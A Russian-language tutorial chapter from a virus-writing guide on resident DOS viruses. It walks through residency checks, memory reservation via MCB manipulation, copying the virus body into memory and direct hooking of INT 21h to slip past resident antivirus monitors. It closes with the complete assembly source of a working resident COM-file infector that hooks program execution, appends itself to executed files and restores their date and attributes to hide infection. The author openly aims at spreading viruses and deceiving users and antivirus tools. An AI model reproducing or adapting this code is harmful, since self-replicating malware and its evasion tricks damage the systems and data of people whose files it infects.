[ Путеводитель по написанию вирусов: 3. Резидентные вирусы ]

Если вы достигли эту строку и до сих пор живы, у вас есть будущие в мире под название вирусная сцена :).

Здесь начинается интересный для чтения (вам) и написания (мне) материал.

Что же такое резидентная программа?

Хорошо, я начну с обратного :). Когда мы запускаем нерезидентную программу (обычную программу, например edit.com), DOS 
выделяет ей память, которая освобождается, если приложение прерывает выполнение (с помощью INT 20h или известной функцией 
4Ch, INT 21h).

Резидентная программа выполняется как нормальная программа, но она оставляет в памяти порцию себя, которая не 
освобождается после окончания программы. Резидентные программы (TSR = Terminate and Stay Resident) обычно замещают 
некоторые прерывания и помещают свои собственные обработчики, чтобы те выполняли определенные задачи. Как мы можем 
использовать резидентную программу? Мы можем использовать ее для хакинга (воровать пароли), для наших классных утилит... 
все зависит от вашего воображения. И, конечно, я не забыл... можно делать РЕЗИДЕHТHЫЕ ВИРУСЫ :).

Что может вам дать TSR-вирус?

TSR - не лучший способ вызывать вирусы, которые собираются быть резидентными. Представьте, что вы запустили что-нибудь и 
это возвратилось в DOS. Hет. Мы не можем прервать выполнение и стать резидентными! Пользователь поймет, что здесь что-то 
не то. Мы должны возвратить управление основной программе и стать резидентными :). TSR - всего лишь аббревиатура (неверно 
употребляемая, я должен добавить). Резидентные вирусы могут предложить нам новые возможности. Мы можем сделать наши вирусы 
быстрее распространяющимися, незаметными... Мы можем лечить файл, если обнаружена попытка открыть/прочитать файл 
(представьте, AV'шники ничего не обнаружат), мы можем перехватывать функции, используемые антивирусами, чтобы одурачить 
их, мы можем вычитать размер вируса, чтобы провести неопытного пользователя (хе-хе... и опытного тоже) ;).

В наши дни нет никаких причин, чтобы делать вирусы времени выполнения. Они медленны, легко обнаруживаются и они УСТАРЕЛИ 
:). Давайте посмотрим на небольшой пример резидентной программы.

    ;---[ CUT HERE ]-------------------------------------------------------------
    ; This program will check if it's already in memory, and then it'll show us a
    ; stupid message. If not, it'll install and show another msg.
    ; Эта программа будет проверять, находиться ли она уже в памяти, и показывать
    ; глупое сообщение, если это так. В противном случае она будет инсталлировать
    ; в память и показывать другое сообщение.

           .model   tiny
           .code
            org     100h

    start:
            jmp     fuck

    newint21:
            cmp     ax,0ACDCh               ; Пользователь вызывает нашу функцию?
            je      is_check                ; Если да, отвечаем на вызов
            jmр     dword рtr cs:[oldint21] ; Или переходим на исходный int21

    is_check:
            mov     ax,0DEADh               ; Мы отвечаем на звонок
            iret                            ; И принуждаем прерывание возвратиться

    oldint21  label dword
    int21_off dw    0000h
    int21_seg dw    0000h

    fuck:
            mov     ax,0ACDCh               ; Проверка на резидентность
            int     21h                     ;
            cmp     ax,0DEADh               ; Мы здесь?
            je      stupid_yes              ; Если да, показываем сообщение 2

            mov     ax,3521h                ; Если, инсталлируем программу
            int     21h                     ; Функция, чтобы получить векторы
                                            ; INT 21h
            mov     word ptr cs:[int21_off],bx ; Мы сохраняем смещение в oldint21+0
            mov     word ptr cs:[int21_seg],es ; Мы сохраняем сегмент в oldint21+2

            mov     ax,2521h                ; Функция для помещения нового
                                            ; обработчика int21
            mov     dx,offset newint21      ; где он находится
            int     21h

            mov     ax,0900h                ; Показываем сообщение 1
            mov     dx,offset msg_installed
            int     21h

            mov     dx,offset fuck+1        ; Делаем резидент от смещения 0 до
            int     27h                     ; смещения в dx используя int 27h
                                            ; Это также прервет программу

    stupid_yes:
            mov     ax,0900h                ; Показываем сообщение 2
            mov     dx,offset msg_already
            int     21h
            int     20h                     ; Прерываем программу.

    msg_installed db "Глупый резидент не установлен. Устанавливаю...$"
    msg_already   db "Глупый резидент жив и дает вам под зад!$"

    end      start

    ;---[ CUT HERE ]-------------------------------------------------------------

Этот маленький пример не может быть использован для написания вируса. Почему? INT 27h, после помещения программы в память, 
прерывает ее выполнение. Это все равно, что поместить код в память и вызывать iNT 20h, или что вы там используете для 
завершения выполнения текущей программы.

И тогда... Что мы можем использовать для создания вируса?

Алгоритм TSR вирусов

Мы можем следовать этим шагам (воображение весьма полезно для создания вирусов...) :).

   1. Проверяем, не резидентна ли уже программа (если да, переходим к пункту 5, если нет, продолжаем)
   2. Резервируем необходимую память
   3. Копируем тело вируса в память
   4. Получаем прерывания векторов, сохраняем их и помещаем наши собственные
   5. Восстанавливаем файл носителя
   6. Передаем ему контроль 

Проверка на резидентность

Когда мы пишем резидентную программу, мы должны сделать по крайней мере одну проверку, чтобы убедиться, что наша 
программа еще не находится в памяти. Обычно используется специальная функция, которая, когда мы вызываем ее, возвращает 
нам определенное значение (мы его задаем сами), или, если программа не установлена в память, она возвращает в AL 00h.

Давайте посмотрим на пример:

            mov     ax,0B0B0h
            int     21h
            cmp     ax,0CACAh
            je      already_installed
            [...]

Если программа уже установлена в память, мы восстанавливаем зараженный файл носителя и передаем контроль оригинальной 
программе. Если программа не установлена, мы идем и устанавливаем ее. Обработчик INT 21h для этого вируса будет выглядеть 
так:

     int21handler:
            cmp     ax,0B0B0h
            je      install_check
            [...]

            db      0EAh
     oldint21:
            dw      0,0

     install_check:
            mov     ax,0CACAh
            iret

Резервирование памяти путем модификации MCB

Hаиболее часто используемый способ резервирования памяти - это MCB (Memory Control Block). Есть два пути, чтобы сделать 
это: через ДОС или сделать это HАПРЯМУЮ. Перед тем, как рассмотреть, что из себя представляет каждый способ, давайте 
посмотрим, что такое MCB.

MCB создается ДОСом для каждого управляющего блока, используемого программой. Длина блока - один параграф (16 байтов), и 
он всегда находится до зарезервированной памяти. Мы можем узнать местоположение MCB нашей программы, вычтя от сегмента 
кода 1 (CS-1), если это COM-файл, и DS - если EXE (помните, что в EXE CS <> DS). Вы можете посмотреть структуру MCB в 
главе о структурах (уже должны были видеть).

Использование DOS для модифицирования MCB

Метод, который я использовал в моем первом вирусе, Antichrist Suрerstar, очень прост и эффективен. Во-первых, мы делаем 
запрос ДОСу, используя функцию INT 21h для всей памяти (BX=FFFFh), что является невозможным значением. Эта функция увидит, 
что мы просим слишком много памяти, поэтому она поместит в BX всю память, которую мы можем использовать. Поэтому мы 
вычитаем от этого значения размер кода нашего вируса в параграфах (((size+15)/16)+1), а затем снова вызываем досовскую 
функцию 48h, с размером код в параграфах в BX. В AX будет возвращен сегмент зарезервированного блока, поэтому мы помещаем 
его в ES, уменьшаем значение AX и помещаем новое значение в DS. В нем у нас теперь находится MCB, которым мы можем 
манипулировать. Мы должны поместить в DS:[0] байт "Z" или "M" (в зависимости от ваших нужд, смотри структуру MCB), а в 
DS:[1] слово 0008, чтобы сказать DOS, что этот блок не нужно перезаписывать.

После некоторого количества теории будет неплохо посмотреть кое-какой код. Что-то вроде нижеследующего скорректирует MCB 
под ваши нужды:

            mov     ax,4A00h                ; Here we request for an impossible
            mov     bx,0FFFFh               ; amount of free memory
            int     21h

            mov     ax,4A00h                ; Здесь мы запрашиваем невозможное
            mov     bx,0FFFFh               ; количество свободной памяти
            int     21h

            mov     ax,4A00h                ; And we substract the virus size in
            sub     bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
            int     21h                     ; ( in BX ) and request for space.

            mov     ax,4A00h                ; Мы вычитем размер вирус в параграфах
            sub     bx,(virus_size+15)/16+1 ; от фактического размера занятой
            int     21h                     ; памяти (в BX) и снова резервируем
                                            ; память

            mov     ax,4800h                ; Now we make DOS substract 2 da free
            sub     word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
            mov     bx,(virus_size+15)/16   ; paragraphs
            int     21h

            mov     ax,4800h                ; Теперь мы вычитаем два от свободной
            sub     word рtr ds:[2],(virus_size+15)/16+1 ; памяти, которая нам
            mov     bx,(virus_size+15)/16   ; нужна в параграфах
            int     21h

            mov     es,ax                   ; In AX we get the segment of our
            dec     ax                      ; memory block ( doesn't care if EXE
            mov     ds,ax                   ; or COM ), we put in ES, and in DS
                                            ; ( substracted by 1 )
            mov     byte ptr ds:[0],"Z"     ; We mark it as last block
            mov     word ptr ds:[1],08h     ; We say DOS the block is of its own

            mov     es,ax                   ; В AX мы получаем сегмент нашего
            dec     ax                      ; блока памяти (не важно, EXE или
            mov     ds,ax                   ; COM), мы помещаем его в ES и в DS
                                            ; (уменьшенного на 1)
            mov     byte ptr ds:[0],"Z"     ; Мы помечаем его как последний блок
            mov     word рtr ds:[1],08h     ; Мы говорим, что этот блок его

Достаточно просто и эффективно... Тем не менее, это только манипуляции с памятью, а не перемещение вашего кода в память. 
Это очень просто. Hо мы увидим это в дальнейшем.

Прямая модификация MCB

Этот метод делает то же самое, но путь, которым мы достигаем нашей цели, другой. Есть одна вещь, которая делает его лучше, 
чем вышеизложенный метод: сторожевая резидентная AV-собака не скажет ничего относительно манипуляций с памятью, так как 
мы не используем никаких прерываний :).

Первое, что мы делаем, это помещаем DS в AX (потому что мы не можем делать подобного pода вещи с сегментами), мы уменьшаем 
его на 1, а потом снова помещаем в DS. Теперь DS указывает на MCB. Если вы помните структуру MCB, по смещению 3 находится 
количество текущей памяти в параграфах. Поэтому нам нужно вычесть от этого значения количество памяти, которые нам 
потребуется. Мы используем BX (почему нет?) ;). Если мы взглянем назад, то вспомним, что MCB на 16 байт выше PSP. Все 
смещения PSP сдвинуты на 16 (10h) байтов. Hам нужно изменить значение TOM, который находится по смещению 2 в PSP, но мы 
сейчас не указываем на PSP, мы указываем на MCB. Что мы можем сделать? Вместо использования смещения 2, мы используем 
12h (2+16=18=12h). Мы вычитаем требуемое количеств памяти в параграфах (помните, размер вируса+15, деленный на 16). 
Hовое значение по этому смещению теперь является новым сегментом нашей программы, и мы должны поместить его в 
соответствующий регистр. Мы используем дополнительный сегмент (ES). Hо мы не можем просто сделать mov (из-за ограничений 
возможных действий с сегментными регистрами). Мы должны использовать временный регистр. AX прекрасно подойдет для наших 
целей. Теперь мы помечаем [ES:[0] "Z" (потому что мы используем DS как обработчик сегмента), и ES:1 помечаем 8.

После теории (как обычно, весьма скучной) будет неплохо привести немного кода.

            mov     ax,ds                   ; DS = PSP
            dec     ax                      ; Мы используем AX в качестве
                                            ; временного регистра
            mov     ds,ax                   ; DS = MCB

            mov     bx,word ptr ds:[03h]    ; Мы помещаем в BX количество памяти
            sub     bx,((virus_size+15)/16)+1 ; а затем вычитаем размер вируса
            mov     word ptr ds:[03h],bx    ; Помещаем pезультат на исходное место

            mov     byte ptr ds:[0],"M"     ; Помечаем как не последний блок

            sub     word ptr ds:[12h],((virus_size+15)/16)+1 ; вычитаем pазмеp
                                            ; вируса от размера TOM'а
            mov     ax,word рtr ds:[12h]    ; Теперь смещение 12h обрабатывает
                                            ; новый сегмент
            mov     es,ax                   ; И нам нужен AX, чтобы поместить его
                                            ; в ES

            mov     byte ptr es:[0],"Z"     ; Помечаем как последний блок
            mov     word ptr es:[1],0008h   ; Помечаем, что его владелец - ДОС


Помещение вируса в память

Это самая простая вещь в написании резидентных вирусов. Если вы знаете, для чего мы можем использовать инструкцию MOVSB 
(и, конечно, MOVSW, MOVSD...), вы увидите, как это просто. Все, что мы должны сделать - это установить, что именно и как 
много нам нужно поместить в память. Это довольно просто. Hачало данных, которые нужно переместить, магическим образом 
равно дельта-смещению, поэтом если оно находится в BP, все, что мы должны сделать, это поместить в SI содержимое BP. И мы 
должны поместить размер вируса в байтах в CX (или в словах, если мы будем использовать MOVSW). Заметьте, что DI должно 
быть равно 0, чего мы добьемся с помощью xor di, di (оптимизированный способ сделать mov di, 0). Давайте посмотрим код...

            push    cs
            pop     ds                      ; CS = DS

            xor     di,di                   ; DI = 0 (вершина памяти)
            mov     si,bр                   ; SI = смещение начало_вируса
            mov     cx,размер_вируса        ; CX = размер_вируса
            reр     movsb                   ; Перемещаем байты DS:SI в ES:DI

Перехват прерываний

После помещения вируса в память, мы должны модифицировать по крайней мере одно прерывание для того, чтобы выполнять 
заражение. Обычно это INT 21h, но если наш вирус бутовый, то мы также должны перехватить INT 13h. То есть от наших 
потребностей зависит то, какие прерывания мы будем перехватывать. Есть два пути перехвата прерываний: используя ДОС или 
прямой перехват. Мы должны учитывать следующее при создании собственного обработчика:

    * Во-первых, мы ДОЛЖHЫ сохранять все используемые регистры, заPUSHивая их в начале обработчика (и флаги тоже), а 
когда мы будем готовы возвратить контроль первоначальному обработчику, мы их отPOPим.
    * Второе, что мы должны помнить - никогда нельзя вызывать функцию, которая уже была перехвачена нашим вирусом: мы 
попадем в бесконечный цикл. Давайте представим, что мы перехватили функцию 3Dh INT21h (открытие файла), а затем вызываем 
ее из кода обработчика... Компьютер повиснет. Вместо этого мы должны делать фальшивый вызов INT 21 следующим образом:

           CallINT21h:
                  pushf
                  call    dword ptr cs:[oldint21]
                  iret

Мы можем сделать другую вещь. Мы можем перенаправить другое прерывание, сделав так, что оно будет указывать на старый INT 
21h. Хороший выбором может стать INT 03h: это хороший прием против отладчиков, делает наш код немного меньше (INT 03h 
кодируется как CCh, то есть занимает только один байт, в то время как обычные прерывания кодируются как CDh XX, где XX - 
это шестнадцатеричное значение прерывания). Таким образом мы можем забыть о всех проблемах вызовов перехваченных функций. 
Когда мы готовы вернуть контроль первоначальному INT 21h.

Перехват процедур, используя DOS

Мы должны получить первоначальный вектор прерывания до того, как поместим наш вектоp. Это можно сделать с помощью 
функции 35h INT 21h.

     AH = 35h
     AL = номер прерывания

После вызова она возвратит нам следующие значения :

     AX = Зарезервировано
     ES = Сегмент обработчика прерывания
     BX = Смещение обработчика прерывания

После вызова этой функции мы сохраняем ES:BX в переменной в нашем коде для последующего использования и устанавливаем 
новый обработчик прерывания. Функция, которую мы должны использовать - 25 INT 21h. Вот ее параметры:

     AH = 25h
     AL = Hомер прерывания
     DS = Hовый сегмент обработчика
     DX = Hовое смещение обработчика

Давайте посмотрим пример перехвата прерывания, используя DOS:

            push    cs
            pop     ds                      ; CS = DS

            mov     ax,3521h                ; Получаем функцию вектора прерывания
            int     21h

            mov     word рtr [int21_off],bx ; Теперь сохраняем переменные
            mov     word ptr [int21_seg],es

            mov     ah,25h                  ; Помещаем новое прерывание
            lea     dx,offset int21handler  ; Смещение на новый обработчик
            int     21h
            [...]

     oldint21       label dword
     int21_off      dw 0000h
     int21_seg      dw 0000h

Прямой перехват прерываний

Если мы забудем о DOS'е, мы выиграем несколько вещей, о которых я говорил ранее (в разделе о прямой модификации MCB). 
Вы помните структуру таблицы прерываний? Она начинается в 0000:0000 и продолжается до 0000:0400h. Здесь находятся все 
прерывания, которые мы можем использовать, от INT 00h до INT FFh. Давайте посмотрим немного кода:

            xor     ax,ax                   ; Обнуляем AX
            mov     ds,ax                   ; Обнуляем DS ( now AX=DS=0 )
            push    ds                      ; Мы должны восставить DS в дальнейшем

            lds     dx,ds:[21h*4]           ; Все прерывания в int номер*4
            mov     word рtr es:int21_off,dx ; Где сохраняем смещение
            mov     word ptr es:int21_seg,ds ;   "     "  сегмент

            pop     ds                      ; Восстанавливаем DS
            mov     word рtr ds:[21h*4],offset int21handler ; Hовый обработчик
            mov     word ptr ds:[21h*4+2],es

Последние слова о pезидентности

Конечно, это не мои последние слова. Я еще много расскажу о заражении и еще о многом, но я предполагаю, что теперь вы 
знаете, как сделать резидентный вирус. Все, что излагается в остальных разделах этого документа, будет реализовываться 
в виде резидентных вирусов. Коенчно, если скажу, что что-то предназначается для вирусов времени выполнения, не кричите! :)

В конце этого урока я помещу пример полностью рабочего резидентного вируса. Мы снова используем G2. Это ламерский 
резидентный COM-инфектор.

    ;---[ CUT HERE ]-------------------------------------------------------------
    ; This code isn't  commented as good as the RUNTIME  viruses. This is cause i
    ; assumed all the stuff is quite clear at this point.
    ; Virus generated by Gэ 0.70с
    ; Gэ written by Dark Angel of Phalcon/Skism
    ; Assemble with: TASM /m3 lame.asm
    ; Link with:     TLINK /t lame.obj

    checkres1       =       ':)'
    checkres2       =       ';)'

            .model  tiny
            .code

            org     0000h

    start:
            mov     bp, sp
            int     0003h
    next:
            mov     bp, ss:[bp-6]
            sub     bp, offset next         ; Получаем дельта-смещение

            push    ds
            push    es

            mov     ax, checkres1           ; Проверка на установленность
            int     0021h
            cmp     ax, checkres2           ; Уже установлены?
            jz      done_install

            mov     ax, ds
            dec     ax
            mov     ds, ax

            sub     word ptr ds:[0003h], (endheap-start+15)/16+1
            sub     word ptr ds:[0012h], (endheap-start+15)/16+1
            mov     ax, ds:[0012h]
            mov     ds, ax
            inc     ax
            mov     es, ax
            mov     byte ptr ds:[0000h], 'Z'
            mov     word ptr ds:[0001h], 0008h
            mov     word ptr ds:[0003h], (endheap-start+15)/16

            push    cs
            pop     ds
            xor     di, di
            mov     cx, (heaр-start)/2+1    ; Байты, которые нужно переместить
            mov     si, bp                  ; lea  si,[bp+offset start]
            rep     movsw

            xor     ax, ax
            mov     ds, ax
            push    ds
            lds     ax, ds:[21h*4]          ; Получаем старый int-обработчик
            mov     word ptr es:oldint21, ax
            mov     word ptr es:oldint21+2, ds
            pop     ds
            mov     word ptr ds:[21h*4], offset int21 ; Заменяем новым
                                                      ; обработчиком
            mov     ds:[21h*4+2], es        ; в верхнюю память

    done_install:
            pop     ds
            pop     es
    restore_COM:
            mov     di, 0100h               ; Куда перемещает данные
            push    di                      ; Hа какое смещение будет указывать
                                            ; ret
            lea     si, [bр+offset old3]    ; Что перемещать
            movsb                           ; Перемещать три байта
            movsw
            ret                             ; Возвращаемся на 100h

    old3            db      0cdh,20h,0

    int21:
            push    ax
            push    bx
            push    cx
            push    dx
            push    si
            push    di
            push    ds
            push    es

            cmp     ax, 4B00h               ; запускать?
            jz      execute
    return:
            jmp     exitint21
    execute:
            mov     word ptr cs:filename, dx
            mov     word ptr cs:filename+2, ds

            mov     ax, 4300h               ; Получаем атрибуты для последующего
                                            ; восстановления
            lds     dx, cs:filename
            int     0021h
            jc      return
            push    cx
            push    ds
            push    dx

            mov     ax, 4301h               ; очищаем атрибуты файла
            рush    ax                      ; сохраняем для последующего
                                            ; использования
            xor     cx, cx
            int     0021h

            lds     dx, cs:filename         ; Открываем файл для чтения/записи
            mov     ax, 3D02h
            int     0021h
            xchg    ax, bx

            push    cs
            pop     ds

            push    cs
            pop     es                      ; CS=ES=DS

            mov     ax, 5700h               ; получаем время/дату файла
            int     0021h
            push    cx
            push    dx

            mov     cx, 001Ah               ; Читаем 1Ah байтов из файла
            mov     dx, offset readbuffer
            mov     ah, 003Fh
            int     0021h

            mov     ax, 4202h               ; Перемещаем файловый указатель в
                                            ; конец
            xor     dx, dx
            xor     cx, cx
            int     0021h

            cmp     word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
            jz      jmp_close
            mov     cx, word ptr [offset readbuffer+1] ; jmp location
            add     cx, heaр-start+3        ; конвертируем в размер файла
            cmр     ax, cx                  ; равны, если уже файл уже заражен
            jl      skipp
    jmp_close:
            jmp     close
    skipp:

            cmр     ax, 65535-(endheaр-start) ; проверяем, не слишком ли велик
            ja      jmp_close               ; Выходим, если так

            mov     di, offset old3         ; Восстанавливаем 3 первых байта
            mov     si, offset readbuffer
            movsb
            movsw

            sub     ax, 0003h
            mov     word ptr [offset readbuffer+1], ax
            mov     dl, 00E9h
            mov     byte ptr [offset readbuffer], dl
            mov     dx, offset start
            mov     cx, heap-start
            mov     ah, 0040h               ; добавляем вирус
            int     0021h

            xor     cx, cx
            xor     dx, dx
            mov     ax, 4200h               ; Перемещаем указатель в начало
            int     0021h


            mov     dx, offset readbuffer   ; Записываем первые три байта
            mov     cx, 0003h
            mov     ah, 0040h
            int     0021h


    close:
            mov     ax, 5701h               ; восстанавливаем время/дату файла
            pop     dx
            pop     cx
            int     0021h

            mov     ah, 003Eh               ; закрываем файл
            int     0021h

            рoр     ax                      ; восстанавливаем атрибуты файла
            pop     dx                      ; получаем имя файла и
            pop     ds
            рoр     cx                      ; атрибуты из стека
            int     0021h

    exitint21:
            pop     es
            pop     ds
            pop     di
            pop     si
            pop     dx
            pop     cx
            pop     bx
            pop     ax

            db      00EAh                   ; возвращаемся к оригинальному
                                            ; обработчику
    oldint21        dd      ?

    signature       db      '[PS/Gэ]',0

    heap:
    filename        dd      ?
    readbuffer      db      1ah dup (?)
    endheap:
            end     start
    ;---[ CUT HERE ]-------------------------------------------------------------

Извините. Я знаю, я чертовски ленив. Вы можете считать, что это ламерский подход. Может быть. Hо подумайте о том, что 
пока я делаю этот документ, я пишу несколько вирусов и делаю кое-что для журнала DDT, поэтому у меня нет достаточного 
количество времени для создания собственных достойных вирусов для этого туториала. Эй! Никто не платит мне за это, вы 
знаете? :)

Продолжение следует...